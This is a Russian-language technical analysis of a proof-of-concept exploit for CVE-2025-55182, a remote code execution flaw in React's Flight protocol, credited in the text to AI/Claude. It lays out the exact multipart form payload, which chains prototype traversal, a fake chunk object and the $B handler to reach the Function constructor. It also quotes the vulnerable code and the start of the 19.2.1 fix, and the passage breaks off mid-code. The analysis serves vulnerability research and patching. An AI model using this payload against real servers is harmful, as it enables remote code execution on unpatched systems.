
Подробный технический анализ и эксплойт доказательства концепции для CVE-2025-55182, критической уязвимости RCE в протоколе Flight от React. Охватывает обход пути, инъекцию поддельных фрагментов и методы обхода WAF.
ПРИМЕЧАНИЕ: Написано ИИ/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода в React Flight Protocol. Цепочка атаки использует path traversal + внедрение поддельного чанка + злоупотребление обработчиком $B для выполнения Function(attacker_code).
Большое спасибо maple3142 за рабочую цепочку эксплуатации!
Эксплойт использует три поля формы для создания вредоносной нагрузки:
then (поле 1 $@0 → поле 0)_response с _formData.get, установленным на $1:constructor:constructor$B, который вызывает response._formData.get(response._prefix + id)_formData.get → Function, выполняя Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Ключевые компоненты
| Компонент | Назначение |
|-----------|---------|
| `then: "$1:__proto__:then"` | Самореферентный thenable; чанк 1 (`$@0`) указывает обратно на чанк 0 |
| `status: "resolved_model"` | Делает объект похожим на валидный React-чанк |
| `reason: -1` | Устанавливает rootReference в undefined (избегает конфликтов ссылок) |
| `value: '{"then":"$B1337"}'` | Вложенная нагрузка, запускающая обработчик `$B` |
| `_response._prefix` | Содержит строку RCE-кода |
| `_response._chunks: "$Q2"` | Пустая Map для предотвращения сбоев при обработке чанков |
| `_response._formData.get` | Указывает на `Function` через `$1:constructor:constructor` |
### Детальный разбор компонента
#### Структура поля формы
Эксплойт использует три поля формы с циклическими ссылками:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" создаёт самоссылку, которая разрешается в реальную функцию:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Почему это критично:**
1. `then` ссылается на `Chunk.prototype.then` - реальная вызываемая функция
2. Это делает поддельный объект действительным thenable
3. При ожидании (await) JS вызывает `obj.then(resolve, reject)`
4. `Chunk.prototype.then` выполняется с поддельным объектом в качестве `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) использует this._response — поддельный _response атакующего:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Без само-ссылки** поддельный `_response` никогда не будет использован. Само-ссылка заставляет `Chunk.prototype.then` обрабатывать объект атакующего как настоящий Chunk.
#### Двухэтапный thenable-триггер (`value`)
Поле `value` содержит вложенную JSON-строку с другим thenable:```json
{"then":"$B1337"}
Этап 1: Самореферентное свойство then внешнего объекта запускает обработку чанка.
Этап 2: Когда React разрешает модель, он парсит value и встречает другой thenable с then: "$B1337". Префикс $B запускает обработчик:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` — это `"$1:constructor:constructor"` → `getOutlinedModel()` разрешается в `Function`.
Получается: `Function(code + "1337")` → валидный JS, так как `1337` — это просто завершающее выражение.
#### Оборонительное заполнение (`_chunks`)
Поддельному `_response` нужно корректное свойство `_chunks`, чтобы избежать сбоев:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Внутренний код React может обращаться к response._chunks.get() или response._chunks.has() во время обработки. Пустая Map удовлетворяет этим вызовам без ошибок, позволяя выполнению достичь уязвимого обработчика $B.
| Путь | Функция | Цель в эксплойте |
|---|---|---|
| Path Traversal | getOutlinedModel() | Разрешает $1:constructor:constructor → Function |
Поддельная инъекция _response | initializeModelChunk() | Использует chunk._response злоумышленника |
Обработчик $B | parseModelString() | Вызывает _formData.get(_prefix + id) → RCE |
decodeReply() является точкой входа, сама по себе не уязвима.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Использование фиктивного ответа** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Обработчик RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
## Исправление (19.2.1)
Патч включает несколько исправлений:
1. **`RESPONSE_SYMBOL` в `initializeModelChunk()`** - Критическое исправление ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);